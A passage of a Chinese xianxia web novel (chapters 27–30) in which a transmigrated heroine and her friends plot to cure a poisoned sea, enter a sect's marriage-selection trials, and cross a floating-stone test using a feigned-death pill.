寻千梦没解，孚钰兽成了献祭俘虏，甚至，海底还有了那纪云城的诡异甜腻。这一切整合，答案只有一个：西疆域和禾丹宗，沆瀣一气，祸害、控制了无垠海。
所以。宜东藏。求了她。
“所以，你想解毒，替整个无垠海，解毒。”
“是。”
面对郑予时的话，宜东藏毫无保留。
“我想解毒，我想，救回我的家。之前问你要了舒缓药剂的配方，也是为了这个。但是半株蒂连枝才能解一兽，我，是我没用。”
“谁说一枚丹药只能解一兽了？”
她炼的丹向来都力争物尽其用，将药力榨干净的，那一枚，药力少说能解十只织翼兽的毒。难道说，宜东藏对这药有别的理解？
不至于吧。
刚刚才有了自己的判断，郑予时倒是捋清楚了思绪，但宜东藏这话却听得她一脸懵。
“虽然我现在是很垃圾，但我炼的药，也没这么差吧？”
27. 第 27 章
不管药力到底如何，一枚十兽对整片无垠海域来说，也是远远不够。
不过关于此事，她倒是有别的法子。
“你们有听说过，遗落之境吗？”
“遗落之境？”
“嗯。上古秘域，遗落之境。据说，此境内有一处锥墟神庙，庙中殿后，立了一座天宫，而那天宫中孕育了一支万年雪莲，世人称之，天宫雪莲。”
“天宫雪莲！”
四字一出，原本对遗落之境毫无反应的禾欢欢竟是惊讶得直接拍桌而起。
“我，我之前偶然听到过我爹和一位来客的谈话。他们好像，说的就是这什么天宫雪莲！当时我还奇怪呢，去查了好多古籍都没找到这东西，结果……你是怎么知道的？”
话风一转，倒是猝不及防。
这……郑予时还没想好要如何解释，总不能说，是书上看来的？
像是察觉到了她的迟疑，宜东藏适时接过了话。
“遗落之境，要如何去？”
感恩。
“自古这秘域的地点，那都是匿于掌管修界的大宗手里的。”
“西疆域？”
“没错。天地宝物，出世秘域，天下皆见，但这其中，掌管秘域者却是能抢先察觉到秘域的波动。是以，提前安排，提前走位，拉帮结派，各宗联手开启，以输入宗门弟子历练为由，进入夺宝。”
“我……去。这么阴？西疆域这么大个宗门，不至于吧。”
如果光是有人这么说，郑予时也是不大相信的。但她知道原文剧情，虽然不大靠谱，可书中后期，男主讨伐西疆域的时候，集结天下修者，就是以西疆域垄断资源为由，借此，除之。
“这不是重点。重点是，你当初见到的那位客人，十之八九是西疆域的人。而既然西疆域已经开始拉拢各宗，也谈及到了天宫雪莲，那么。遗落之境，不久便会开启。”
结论落地，宜东藏的眼里势在必得的情绪遮不住。
“可是，我爹和那人既然谈到了雪莲，那说明西疆域的那些大人物应该是也要雪莲的。我们，光凭我们三个，抢得过吗？”
“当然抢不过，不过有一个人，抢得过。”
“谁？”
“西疆域的少宗主，霍司遥。”
“啊！？那个病秧子废物？郑予时，你开玩笑的吧。”
郑予时也不好解释为什么，但书说，前期的病秧子少宗主到了中后期确实摇身一变，成了天之骄子，且，和西疆域还有仇。
敌人的敌人就有机会能发展成盟友，等霍司遥察觉自己中了毒，需要解毒的时候，她们就天然的站到了一边。
“找个机会，得见见这人。”
无垠海解毒的事情落定，最终，他们三个也没有聊到西疆域的阴谋。
其一，禾欢欢不知道织翼身上的甜腻怪异；其二，宜东藏隐下了禾觅清和他的交易；其三，西疆域的弟子只谈及孚钰兽自愿献祭的事情，对于寻千梦的毒，只有知道原文的郑予时一人清楚，大概率是西疆域下的毒手。
各自回房，郑予时熬了菌菇汤回去。开门，入内，空无一人。
“亓涿光？”
人呢？
手里端的汤还热着，但房间里却是连半个人影都不见。郑予时的心口闷闷的。
眉尾轻跳，笑出了声。
“噗。原来，等不到人，是这样的感觉。”
将汤放置桌上，加辣，加辣。坐下，喝汤。喃喃自语。
“等了我数百年，辛苦了，小崽子。”
第二日，有人给郑予时送来了很多古书，问之，那人却说，是小主子。
郑予时听不懂，但那些书，全是上古的咒术秘法，稀罕、珍贵，绝非寻常街边可以买到。是福不是祸，是祸躲不过，所以，她留下了。
只是从那天开始，之后陆续的又有许多不同样式的书籍拿了过来，无一例外，都是关于咒术一门的，应接不暇。
无人知晓她想解咒，禾欢欢虽见她寻了咒术基础书籍，但她并不知道她的身上有亓涿光下的咒契。
知道她想解咒的只有一人，那夜，能瞧见她桌上摊开的咒术书籍的也只有一人。
亓涿光。
所以那送书来的，是亓涿光的人。
往后数日，亓涿光没有再来，郑予时沉浸式地泡在知识的海洋里，埋头苦读，直到参加招亲的所有人都到了，直到流程必须要走了，直到连纪云听她们都出发了，忍无可忍的禾欢欢这才终于找到机会踹开了她的房门。
“走了！出门见光了！书呆子！”
数日未出，然而，还是毫无头绪。果然，隔行如隔山，难。还是她的草药看着亲切。
招亲的地点位于云顶，招亲开始后，她们这些参赛‘选手’是要入云顶住下，选拔晋级的。
和果旗下的讲话一样，第一日，入云顶，有招亲大赛的开启仪式。
怎么说，搞得还挺有模有样。
爬山，入云顶的唯一方式是爬山。不得不说，对于炼气五层的弱鸡来说，有如要了她的老命。等撑着禾欢欢爬到山顶的时候，郑予时直接摔在地上走不动了。
“郑予时，你这也太弱了吧。我估计你选不上。”
“选，选不上，不是，挺好。我，本来，就，就是来摸的。”
“摸？”
摸鱼，不过禾欢欢并不懂得这是如何意思。
宜东藏递过来的丹药很香，服下，瞬间满血复活。
“有钱！”
“那是。”
夸人的是郑予时，被夸的是宜东藏，但骄傲的却是禾欢欢。怎么说，挺合逻辑。
周围爬上来的招亲者不在少数，瘫倒在路边极其不雅的郑予时不出意外地成了‘景点’。
“呵，这般不堪不雅也配来参加西疆域的招亲？发如枯草的矮子，炼气境界的废物，真是厚脸皮，自不量力。”
“你叨叨什么呢！？说话这么难听还又气虚气短的，怎么，你一幅病弱膏肓的样子配来，我们身强力壮的就不配了？”
白眼一翻，那出言讥讽的姑娘不屑得很，她没想和禾欢欢多争口舌，哼气转身，头都不回地便走了。
“嘿！她什么态度？瞧不起我！？你给我回来！夹着尾巴跑这么快，摔不死你！”
禾欢欢的直脾气，这明显是被人鄙夷的气她可受不了，撸起袖子就要去追人。然而还没等她跑出两步，只见刚刚那位开口嘲讽的姑娘脚下一踉跄，竟是直接摔了去。
这，她的话，这么灵验的吗？
这下，倒是叫禾欢欢不知道该做出如何表情了。
“噗。”
身侧轻笑袭来，回身，却见纪云遂不知道什么时候站到了她的身边。
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小公子依旧是一袭青衣，只是那手里握着的弹弓，特别显眼。
禾欢欢结合一想，明白了。
“你干的？”
“那是。我可不像你，有人欺负我小时姐，我当场就能要她好看，而你呢？光打雷不下雨，吼得凶有什么用？别人都不鸟你。”
“你是不是欠打？”
“我阿姐在，你敢打我？”
“你猜我敢不敢。”
一言不合，云顶入口，打得不可开交。
纪云听和宜东藏两人一人抓一个，按住气焰，方才止了这小孩儿打闹的幼稚场面。
“郑姑娘，走吧，时间快到了。”
纪云听二人应该是专门等他们的，既然喊了人，郑予时便也笑着应下。
吃了丹药休息够了，她抬脚就要往里走，然而就在这时，就在她抬眼瞧见了那云顶入口的瞬间，寒意冲顶，血液凝固。
云端顶后，云雾飘渺下的山头似若仙境，藏入云端的竖门不见其顶，恢宏壮观。仙境往下，只有入口两侧的两尊石像，勉强能瞧清模样。
然而，就是这虚无朦胧的模样，却叫郑予时一步迈不动。
像，太像了。
西疆域，傀儡派，云端顶后。这里，和之前在归元观修炼时，师傅带她去过的那一方秘境，一模一样！
怎么可能！
一方秘境，那是身为归元观观主，身为那个世界唯一的大乘期大佬才有能力开启的秘境，是她的师傅为了带她历练而开启的古时秘境。
可怎么，怎么可能？一方秘境中的地方，怎么会和书里世界的傀儡派，如出一辙！？
怎么会……
心中惊恐催促，又惧又疑的情绪支配着她的行动，郑予时满目惶恐，她向前，走到了前方入口左侧的那尊石像身前。
蹲下，伸手。
借着石像落下的阴影，她向着它和它身后石壁的缝隙处，摸了过去。
一寸、两寸、三寸。
触及，郑予时整个人都僵住了。
指尖碰到的那个东西，四四方方，很薄一片，有些软，有些脆，刮擦，还会发出沙沙的清脆声。
这是……
捏住一角，拿出。
这是一张纸。
泛黄的纸张，其上，歪歪扭扭写了四个奔放丑陋的艺术大字：到此一游。
卧槽！
这不是她之前和师傅第一次入秘境，图好玩儿，留下来的旅客痕迹吗！怎么会在这儿啊！
啊！
这个地方，她曾来过。这个地方，她绝对来过！
如果说，之前入书中幻境却是见了幼时的亓涿光一事让郑予时生出了两个世界相联的怀疑，那么这次，却叫她笃定：前世，今生。两个世界，绝对密不可分。
但，明明是两个完全不一样的世界，为什么会有联系，又因为了什么，会产生联系呢？
“郑姑娘？”
“郑予时！？”
两声呼唤，僵硬地蹲在石像身前的人，回了神。
后背的冷汗凉得透心，郑予时无措无绪，抬眸看去，她看到了前方正满脸担心地等着她的四人。
禾欢欢、宜东藏，纪云听、纪云遂。
熟悉的名字，熟悉的样貌；熟悉的小说，熟悉的地方。
这一切，到底是怎么回事。
28. 第 28 章
踏入云顶，步入逍遥。
逍遥殿外，集结了本次招亲的所有自愿的、非自愿的参赛选手。
寻了个角落，五人静候。
不多时，大殿鼓鸣，天边云蒸霞蔚，一片绚烂之中，数道虚幻白影自天外而来。
落地，鼓鸣再起，霎时，殿上四侧伫立的数千傀儡派弟子单膝跪地，垂首抱手，声声恭迎。
“恭迎宗主，恭迎风戎尊者！”
“恭迎宗主，恭迎风戎尊者！”
声势浩大，一声压过一声，见人来，禾欢欢兴奋万般，她拉着一脸茫然的郑予时，带着她低了身子，示意敬意。
“哈哈哈。”
三声肆笑，霍弘挥袍背手，立于其上。
霍弘，西疆域宗主，傀儡派掌门，是整个域内压在蛊毒门和咒术冢上头的老大。
“各位小友，欢迎前来参加我儿的招亲大典，欢迎！”
声落，掌声四起，不是正中参赛他们的，而是四周傀儡派弟子的。这些个弟子，一言一行整齐却又莫名透露出几分僵硬，霍弘说什么，他们都应得完美得体。
太诡异了。
台上三人坐镇，其一宗主霍弘，其二风戎尊者霍廷，其三则是一位女修，不知姓名。
‘演讲’进行时，霍弘絮絮叨叨，夸夸其谈了将近大半时辰，像是开屏的孔雀，不遗余力地展现着，半点儿不累。
郑予时听得有些困了。眼睛一眯，打起了盹。
“请！”
尖声一起，抽搐一抖，那声音刺破云雾，叫郑予时吓得一激灵。
绵绵睡意散去，人，彻底清醒过来。
“噗嗤。”
见人惊抖，禾欢欢一乐，拍了她。
“主角来了。”
主角？
四周掌声再起，只见那逍遥殿的大门开启，殿内，轱辘滚着的声音渐渐近了，里面，出来了一个人。
白衣落地，出尘不染。
来人周身气质清冷，头顶斗笠遮掩，不见真容。其内，笠纱之下，眼上却又系了条极其突兀的黑色绸缎，遮去双目。他坐在轮椅之上，一推，一轱辘，缓缓而来。
这是，男主霍司遥。是那个前期双目失明、双腿残废的，病弱少宗主。
霍司遥的声音很哑，像是吞了毒被毁了去，听得废人耳朵，不过他讲了什么，郑予时不甚在意，也半点没听进去，只是，他身边跟着的一道黑影叫她丢了神。
那不是，她之前在街上捡回来的那个小傀儡吗？
说到那傀儡，起初只是因为一时念起。见着他，郑予时不禁联想到了书中自己被炼成傀儡的凄惨结局，于是心生怜悯。
但在街上捡了他后，随后发生的事情应接不暇，回去住所，她记得自己将小傀儡放到床边后，就没再管他了。
再之后，看书修习，倒是彻底忘了。
只是，他怎么，会在霍司遥那儿？
不解，困惑，但随即，像是突然想到了什么，郑予时无奈一笑，像是气笑了似的。
不会，是亓涿光拿去借花献佛的吧？
她的房间，进去的人只有亓涿光，小傀儡没有牵丝不能动弹，如果有人拿了他，那只可能是亓涿光。
所以，她这是见色忘义，觉着小傀儡好玩儿，拿去送给了霍司遥？
好家伙。好手段。自叹不如。
视线在殿中参赛的人群里寻找着，果然，在最前排正中，她看到了那个熟悉的背影。亓涿光。不过离得较远，她的身边也还站着那个先前在街上遇到的粉衣姑娘，郑予时猜，她应该是有自己的事情。
招亲开启仪式的最后，是大宗对各位参赛者的嘉奖。
算是劳务费、慰藉费，凡是前来的小友，一人一百上品灵石，可谓豪横，大气。而那前三名的奖品更是不得了。
第三，是他们傀儡派地阶三品的傀儡术心法；第二，是清明心境的九品宝器；而这第一，则是一把秘域出世的，仙品宝剑。
郑予时倒是对这些个奖品没啥想法，大会散了后，几人跟着安排房间的弟子入住云顶，同样的，他们被安排到了‘不受重视’的偏房。远离争夺招亲名额的风暴中心。
“郑予时。”
禾欢欢一脸有事儿的模样，一喊，将即将迈入自己屋子的郑予时和宜东藏喊了住，喊到了她的房间里。
“我要拿第一！”
“哈！？”
这突如其来的斗志是怎么回事？不对，第一！？
“你，你有啥想不开的？”
“不是，我是说，我要第一的那个奖品，仙品宝剑！”
宜东藏皱起来的眉头从禾欢欢见了那宝剑后就没松开过，两人自小青梅竹马一同长大，他如何不晓得她的心思。
“不行。”
“师兄！？”
“第一得了宝剑，但其中的后果，你真的想清楚了吗？”
“我清楚的！是。得了第一，不只得了那宝剑，也是会成为给那少宗主渡灵力的炉鼎。但是我不怕，我可以！师兄你知道的，那剑，我一定要得到。再说我们本来就是要找机会认识霍司遥的，我得了第一，咱们就是一条船上的人了，以后……”
“不行，我不许你去。”
“为什么！师……兄？”
宜东藏像是气极，整个人都隐忍着颤栗。他似是强忍着心头怒火，重话不敢说，退步也不肯，房门开了又闭，他头也不回，冲出门去。
“师兄！”
喊不住，生闷气，回头，禾欢欢的眼里含了泪。
“郑予时，他凭什么凶我？”
“……”
啊，这……
宜东藏的怒气来得莫名，讲真，她其实也看不懂。
“可能是没吃晚饭，饿了吧。”
“……”
沉默，是此时的刻画。
郑予时自然落座，打破了禾欢欢的无语。
“话说，你为什么那么想要那把剑呢？别的不行吗？”
“我，想要成为风戎尊者那样的剑修！”
“那和仙品宝剑有什么关系？”
“风戎尊者，大乘实力，是我，永远达不到的境界。”
郑予时听不明白了，怎么就达不到了呢？做人，怎么能连梦想都没有呢？
然而不等她鸡汤祭出，禾欢欢却先一步，解了谜底。
“我从小就身子弱，药汤滋补，却还是抵不过生来便有损的灵根。父亲说，我这辈子，只能这样了。”
“但我不服。我拼了命地修炼，拼了命地吃药，终于，我筑基了。可是，多么讽刺啊，我没日没夜，像个狗一样地修行，但对比一同引气入门却早已凝丹的平平弟子，同龄人中，我仍是半个废物。”
“筑基，哈哈哈，筑基。十余年，纵使我拼尽全力，却仍旧是连那金丹的
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门槛都摸不到。这样的我，怎么可能成为风戎尊者那样的剑修？我做不到。”
“所以，郑予时，我需要那把剑。仙品。我真的，需要它。”
禾欢欢说着说着，眼底含了泪。小姑娘哭诉着自己的脆弱，委屈着自己的无可奈何，像是风中飘零的落叶，渐渐褪色。
郑予时的心有些闷，虽然她知道在原文剧情中，得了第一的是亓涿光，但事情未定，现实诸多变数，原文到底做不做数已然是个未知，她看不懂。
禾欢欢向来是鲜艳夺目的颜色，她不知道结局到底是何，但她不愿见她这样。
这个第一，亓涿光得了固然最好，可若是亓涿光输了，至少禾欢欢自己还能再争。
“好。第一，咱们一定拿下。”
“你……好！郑予时，我们，一定拿下！”
夜里，禾欢欢非要拉着她一起睡。小姑娘软磨硬泡，无奈之下，郑予时逃不了。
床榻上，禾欢欢软着嗓子，凑在她身边，像是闺中密友，她同她讲了小时候的事情。
禾欢欢本名叫禾若欢，她和禾若安是双生子，但小时候他们却是分开来养的。
她身子弱，从小是个皮包骨的瘦杆子，怎么喂，怎么不长。为此她爹她娘可是操碎了心，整日研究的全是滋补膳食。
十一岁的那年冬天，她终于长胖了！但随即而来的是，娘亲她，病了。
十一岁的她，被家人保护得极好，什么都不懂，什么人都认为是好的是有良心的，娘亲的病，是她说出去的。
风言风语，渐渐的，宗门上下传出了这样的谣言，他们说，她娘，不洁，乱淫，怀了外头男人的孩子，被她爹嫌弃，发了疯。
可事实不是这样的！不是这样！
但这次，她的话，没人再愿意听，大家听了戏，只想相信他们愿意相信的剧情，大家，也都只愿相信最能满足他们龌龊心理的妒忌。
可是，流言蜚语，污言秽语，知道这些是她说出去的母亲，呕血痛绝，病得更重了。重到，父亲他，再不让她见母亲。
他说，娘她，不愿意再见她。他说，若欢，放过娘吧。
禾若欢、禾若欢，离了娘亲给她起的那带有希冀的若字，从此之后，她便是只求自己日日心欢的禾欢欢。
她以为她斩断了，所有人都以为她斩断了，但她很内疚，很自责，她恨自己为什么那么傻，傻傻地就这么相信了别人。她恨，恨所有听风就是雨的人，她恨，恨所有传播谣言的人。
禾欢欢解释说，所以当时游船之上，她想让郑予时和亓涿光和好的心，是真的。她不希望她们误会彼此，就像她，和母亲一样。
“你知道为什么我要学剑吗？”
“因为保护？”
“因为杀戮。”
杀？
郑予时看不懂了。
“这么些年，我娘的病，我略知一二。内力空虚倒是其次，最主要的，是心病。”
“心病？因为当初的流言重伤？”
“嗯。”
禾欢欢沉默了少顷，蓦地，只见她抬眸而望，那双眼睛里，全是奋不顾身的坚定。
“世间术法，唯有剑仙一剑破执的无妄剑意可斩断世沉杂乱。”
“郑予时，我这副破烂壳子，剑仙是做不成了，但御剑养剑成仙的剑人，我却是一定要拼一拼的。”
“仙品宝剑，我要定了。”
29. 第 29 章
西疆域，云端顶后的夜很暗。逍遥殿内，参赛者住所处的屋顶冷霜凝结，积了宜东藏一身。
日升，破雾，浊气吐出。
他，守了两人一夜。他后悔了。
“唉。”
坐在屋顶，宜东藏手里拿的是一本泛黄翻烂了的剑谱。这是，他专门替禾欢欢寻来的入门书，是禾欢欢的宝贝。
小时候，因为体弱灵根有残，禾欢欢从来都是乐呵地肆意活，无忧无虑，无愿无求，毕竟身为禾丹宗的小主人，她想要什么，都会有。
直到后来黄钰病重再不出门，直到后来禾欢欢偶然听到了禾觅清和另一位前来看病的高人的对话，此后，她便起了习剑的念头。
宜东藏知道的，剑仙一剑破执，她想的，他都知道。
但，灵根缺陷，是无法弥补的。
有残的身子，灵力引入本就不稳，修行更是艰难险峻，一不小心便会如那绷紧的弦丝，彻底断裂，毁于一旦。
禾欢欢练别的都行，丹修、器修、术修、符修，什么都行，就是剑，不行。练剑，灵力之中的气太过强盛，她，受不住的。所以禾觅清从不许禾欢欢练剑，哪怕是提，也不许。
禾欢欢总说，她弟弟是个犟脾气，可一母双生，她，也是这般。
被骂，偷偷练剑；被关，偷偷练剑；被千阻万拦，她仍是偷偷练剑。
但对禾欢欢来说，剑，修习本就危险，如此乱来更是不行。他得管着她。
幸而，水族天生灵力温和，她要练剑，宜东藏便紧着她，寻了入门的书，以自身灵力相护，助她修习，助她寻路。
只是，入门之后，他心底，也是不愿她练的。
练剑的剑修也好，养剑的剑人也罢，他都不愿她再拼。
因为他知道，这，是一条必死之路。
日头高挂，到了第一日试炼的时间了。
逍遥殿外，五人依旧入昨日上山听讲那般站在后头，只是这次，禾欢欢明显在赌气，凑在郑予时身边，一眼不瞧一边的宜东藏。
“阿姐，他们怎么了这是？”
纪云遂看不清，但纪云听可是瞧得清楚。
禾欢欢痴迷剑道，禾丹宗上下无人不知，但再往下推敲的原由，却是只有明白人才看得清。
“没事。许是这山头气薄，没睡好。”
鼓声响起，选拔开始。但是在招亲试炼正式开始之前，却是有一位坐落殿前的老者讲了规则。
“此次试炼，共分三局。”
“其一境意，是为考验大家修为境界；其二道意，是为测评大家术法悟道之实力；而这其三欲意，则是为选出最适我西疆少宗主青睐的，第一。”
所以，一分三场。先是修为测试，再是摸清楚每个人修习的道的深浅，最后筛出合适的人，再让他们少宗主选一个看得最顺眼的？
皇上选妃呢？搞这些有的没的。
啧。
无声吐槽，老者袖袍一挥，只见滔天威压之下，一糯白玉盘大开大合，嵌入大殿正中。
“吉时到，启！”
一声落，玉盘四开，灵柱升天。那位其貌不扬的老者双手起势，竟是在众人眼皮子底下，一招，撕裂空间，用那玉盘，招出门阵，开了一方天地。
“诸位，请！”
又是一声落，不待众人反应，只觉清风一卷，脚下一轻，殿上近百人，一骨碌打包，是全被老者扔进了那玉盘开启的灵门之中，无一例外。
屁股落地，一下，摔得整个下半身都麻了。
入目，他们如今身处之处，是一堵万丈悬崖。
悬崖前端，浮石错落，在那云雾飘渺之间，一阶，一阶，深入云中。
这是，浮石阵。
“小姐！我来试阵！”
老者那一挥，他舒坦了，但却将殿上参赛的、非参赛的人员是尽数都卷了进来。
西疆招亲，或有的宗门宗族无奈应付，或有的世家派别蓄意勾结，总之，除了前来参加试炼的姑娘们，还有不少陪着一同前来的护卫、侍从。
而这位率先出声的，瞧起来就是那护卫其一。
“阳湖孙家，冲阵！”
大喊一声，壮气壮胆。男子脚踏而去，一落，第一块浮石踩得稳稳当当。
灵力裹身，再越而去，二落，一改先前身轻如燕的样子，他，似是重了些。
踏石再冲，三落，这一落，较之之前的两步，男子飞身而起的高度更矮了，似那顶上坠了千斤顶，压得他不能喘息。
“小姐，我……额。”
气吐神散，男子脚下一松，竟是蓦地向那悬崖摔了下去。
“孙磊！”
鹅黄浅衣，随风拂来，掠过，直直追了去，滚入其下飘渺云雾。
姑娘她，也去了。
一时，连失两人，瞧不见他们确切结局的恐惧笼罩在整个崖顶，参加招亲的参赛者们，人心惶惶。
“不，不会就这么死了吧？这，这悬崖，真的假的？”
一声质疑，倒是有好心人答了出来。
“为虚，只是幻象而已。”
“西疆域傀儡派，霍宗主的名声天下皆知，我等前来参与招亲，并非入侵，是以，绝无性命之忧，大家无需担心。”
开口的，是一位身着蔚蓝暗纹长袍的负剑剑修，说罢，只见他剑招一出，御剑，刺云而去。
云开，一人入内，显出那其后真正的奥秘。
浮石之终，云后，是一座宝殿。
剑修飞掠，落地，下一瞬，只见天边一道光柱落下，蓦地，连人带光，消失不见。
他，成功了！
这个结论让众人心念落定，不久，周围气氛热络起来，跃跃欲试。
“阿姐，我先去替你探探路！”
纪云遂这傻小子横冲直撞，跑到一半，竟是又回了头往悬崖这边跑，这一下，蛮不讲理，竟是撞掉了好些个本就不稳的参赛者，搅得乱七八糟。
“阿姐！这浮石阵果真如刚刚那殿上的老者所言，是考验修为境界的。我刚跑到一半，只用了四成力不到，以阿姐的实力，一定能通过！”
对此，纪云听倒是笑了。
“云遂，辛苦了。”
“为阿姐，云遂不苦。”
两人交谈，纪云遂的测试叫有心者一目了然，禾欢欢有些担心。
“郑予时，你怎么办？”
“我？凉拌，我一会儿直接往下跳，弃赛出去了就是。”
“不行！不能弃赛！”
不行？
郑予时眼底茫然：她本来就是来走个过场的，怎么就不行弃赛了？
“郑予时，这个浮石阵，以我筑基中期的实力勉强能过。但这里过了，第二关我却过不了。”
第二关？
是了，第二关考验的是每个人修习之道的深浅，禾欢欢剑道堪堪只能算作入门，要想通过，怕是难。可，这又与她第一关放弃有何关联？
“你答应了帮我的。”
啊？
“你炼药很强，第二关，你得帮我过。所以第一关，你不能放弃，你得和我一起，过去。”
“……”
这，未免有些强人所难。
就凭她这炼气五层的修为，第一块浮石不说，怕是走到悬崖边，刚抬脚，就下去了。
“欢欢，郑予时只炼气五层，她……”
“我知道，所以我背她过去。”
哈！？
禾欢欢说干就干，她向前一步蹲在郑予时身前，拍了拍自己的肩膀。
“郑予时，上来，我背你。”
如此场景，实在诡异。
郑予时可没打算真的让禾欢欢背，她伸手想要喊人起来，但不想，憋了整整一夜的宜东藏是先动了手。
“你先起来。”
“你不要阻止我！”
“欢欢，我……”
“你要是不帮我，就离远点，我自己也可以拿第一，我自己也可以救我……”
嘴里的话霎时没了声，禾欢欢死咬下唇，别过头，不愿看他。
宜东藏的手攥得发了白，他后退一步，垂下头。
“我，帮你。”
“什么？”
宜东藏的手心里躺着一颗暗红丹药，他将它放到了郑予时的手里，他的声音很低，像是妥协，像是不愿惊扰。
“这是假死丹，是我遍览古籍自创的丹药。”
“郑予时，服下它，你会陷入假死状，一身灵力停滞。届时，芥子空间便不再会排斥你，欢、欢欢就能带着你，过第一关。”
手心的丹，小小一颗，郑予时偏头看了一边想要过来却又碍于面子纠结的禾欢欢，点头应下。
“成。谢了，宜东藏。”
“嗯。”
低落的情绪仍缠绕着他，话落，宜东藏没再抬头，一步，坠入悬崖。
“师兄！”
伸手去拉，禾欢欢的指尖掠过衣角，触及，消散。
她，没能抓住他。
悬崖边，禾欢欢站着，皱了眉，红了眼。
纪云听姐弟等在一边，姐姐拉着跳脱的弟弟，没去打扰。而郑予时不同，身为小富婆的贴心棉袄，她尽职尽责，前去安慰。
“禾欢欢，宜东藏他，是站在你这边的
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。”
“我，我知道的。师兄他，一直，都站在我这边。”
“不气了？”
“我从来没气过他，我只是，只是觉得自己很没用。”
“谁说你没用了？你看，我要过这第一关，不是还得如此有用的你来扛嘛。别想太多，有用没用，别人说了不算，只有你自己认定，才是真的。”
“来吧宝贝！接住我！”
诙谐语调，一激，郑予时服下丹药。
假死丹表层的药，酸涩，入喉一滑，滚了下去。她双手伸开，向着禾欢欢展臂，倒了去。
“靠你了。”
话音落下，下一瞬，了无气息。
瘦小的身子，落在怀里没几两肉似的，很轻，但却又很‘重’。
禾欢欢被她逗乐弄得心思松活了些，无奈一笑。
“好。有用的我，带你闯关。”
纪云听姐弟在前，禾欢欢在后，一步，一步，威压骤升。她的修为勉强筑基中期，每一步，都踏得万般小心。
浮石不稳，需用灵力稳住双足，踏之，十分耗力，但是禾欢欢不认输，她咬牙，纵是满额细汗，纵是腿抖如筛，她依旧坚定地望着彼岸那方，不回头，向前走。
如此，纪云听心生佩服，轻拍了身旁同样看得失了言的纪云遂，点头默许。
纪云遂懂得，放缓了脚步，只走在禾欢欢前头一步，护她。
果然，纪云听的判断十分准确，乏力的禾欢欢脚下一抖，浮石倾斜，一滑，就要摔落。而这时，早有准备的纪云遂反身伸手，拉住了她。
纪云遂将禾欢欢拉了上来，郑重点头，手指前方。
浮石之上，为免泄气，不能说话，但两人相交的眼神已然彼此心知肚明。
禾欢欢点头谢过，继续咬牙，向前。
她，不能输。
最后三步，两步，一步……
蓦地，崖底一阵邪风卷来，轻轻吹来，而即将到达彼岸的欢喜叫本就力竭的禾欢欢心神一松，这一下，吹歪了身。
眼下是万丈悬崖，眼前是她渴望的目标，哪怕是滚，她也要滚过去！
身子躬去，禾欢欢拼着最后的力气要往上去，这时，身后灵力一闪，一股推力自身后而来，将她一把，推到了岸上。
闯关通过的光柱再落，光柱之中禾欢欢回头，她，看到了那个在后方撑了她一把的人。瞬间，热泪滚落。
“师兄……”
光柱散去，眨眼，禾欢欢回到了逍遥殿上。
心头哽咽，红了的眼睛包着泪，滚滚而下：原来师兄他，假意退出比赛，却一直，一直护在她的后头。师兄……
下一瞬，殿上光柱再起，一散，刚刚浮石上的那个熟悉身影，再次映入眼帘。
这次，禾欢欢没有犹豫，她起身奔去，一下，抱住了他。
“师兄。师兄……对不起，我不是有意的，我没想和你吵架。都是我不好，对不起，对不起……”
“欢欢，你同我，从来不需要说抱歉。”
相抱在一起的两人情深意切，先他们一步出来的纪云听姐弟就在一边，看着也是松了几分心神。
这一关禾欢欢走得艰难，她算是末尾完赛的几人，不待多时，就在禾欢欢稳定了情绪的下一刻，第一关试炼结束，殿上鼓鸣再起，人数整合。
抬眼，只见那原先只有老者一人的殿上，多了个坐着轮椅的斗笠男人，不难猜，是霍司遥。
纪云听眸色一闪，眼底的思绪有些乱了：他怎么，亲自来看了？
“离云宗花之杳，通过！南麓岑家岑澜，通过！谷苞间……”
老者的声音用灵力附着，传得极远，声音极大。他一一念着殿上通过试炼的人，清点人数。
通点一遍，独独，没有郑予时。
“前辈请等一等！”
见老者收了名录要走，禾欢欢赶紧喊住了他，挥手示意。
“何事？”
“前辈，还有一人您记漏了！”
“何人？”
“郑予时！归元宗弟子，郑予时！”
说罢，只见禾欢欢一指点亮她颈间挂有的芥子空间，灵力缠绕，一闪，一位姑娘从中飘了出来。
姑娘小小一个，黑长卷发随风而起，落在禾欢欢一同取出来的一床软榻上，横在殿中。
逍遥宝殿，威严无比，可这殿中却放了床软榻，软榻还躺了个姑娘，何其荒唐。
姑娘躺在其上，唇淡如雪，肤白如僵，她的四肢变得强硬僵直，胸脯上下完全没有起伏，瞧着，竟像是死了许久那般，毫无生息。
这，分明就是一个死人！
30. 第 30 章
死人？逍遥殿怎么可能出现死人！？
老者生疑，正欲上前去查到底是何情况，然而这时，身侧一道狂风掠过，再看，只见刚刚还坐落殿上的斗笠白衣，竟是瞬间，奔到了那姑娘的身旁。
殿上软榻，郑予时闭目躺着，浑身冰冷。
隔着斗笠白纱，霍司遥坐在轮椅上，靠得她极近。
他来得仓促，灵力一起，将榻上郑予时的‘尸体’撑了起来，一落，环入自己怀中。
大殿其上，本就因出现死人而僵住的气氛，这下，又因得西疆少宗主抢人尸首的画面，是愈发冷冻几分。霎时，整个殿内的人，无人敢动，万籁俱寂。
霍司遥将人环在怀中，白纱拂过面颊，他伸了手，似是眷恋，似是熟稔，轻触了她。
“住手！”
禾欢欢的剑，出鞘指去，瞬息，拔剑刹那，大殿外围的傀儡派弟子灵势一起，将整个殿中包围了干净。
不只如此，殿上老者踏地而飞，一改松散模样，他横目而视，出指，挡在了霍司遥的面前。
以百围一，以多欺少，如此，同传闻中那位病秧子废物少宗主的跋扈名头，贴切得很。
禾欢欢不忿，她看着被霍司遥捏在手里的郑予时，心里对他的厌恶情绪达到了顶点：都说西疆少宗主痴恋尸体，最爱将刚死去的少女炼做傀儡养术，原来是真的。
他，变态！竟是连来参赛的各家各宗子弟都不放过！
畜生！
心里开骂，禾欢欢欲要上前夺回人来。
“禾欢欢，别急。”
“欢欢。交给我。”
纪云听和宜东藏同时出了声，两人一人拉了她，一人上前护了她。
不得不说，霍司遥炼尸的‘兴致’知道的人不少，禾欢欢的猜想，也是大多人心中的猜想，毕竟一个小丫头片子，如何得得了少宗主的青睐？无非是看上了她的尸体罢了。
但郑予时，绝不能给他。
宜东藏上前，向着老者鞠礼，表示他们并无恶意后看向了一直在那后头，从未抬眼‘瞧’过他们一次的霍司遥。
“禾丹宗宜东藏，见过少宗主。”
“少宗主，这位是归元宗的弟子郑予时，她是在下的朋友。还请少宗主高抬贵手，将在下的朋友，还与在下。”
此话，霍司遥握住郑予时的手，收得更紧了，他，也更清楚地感受到了她的僵硬和，死亡。
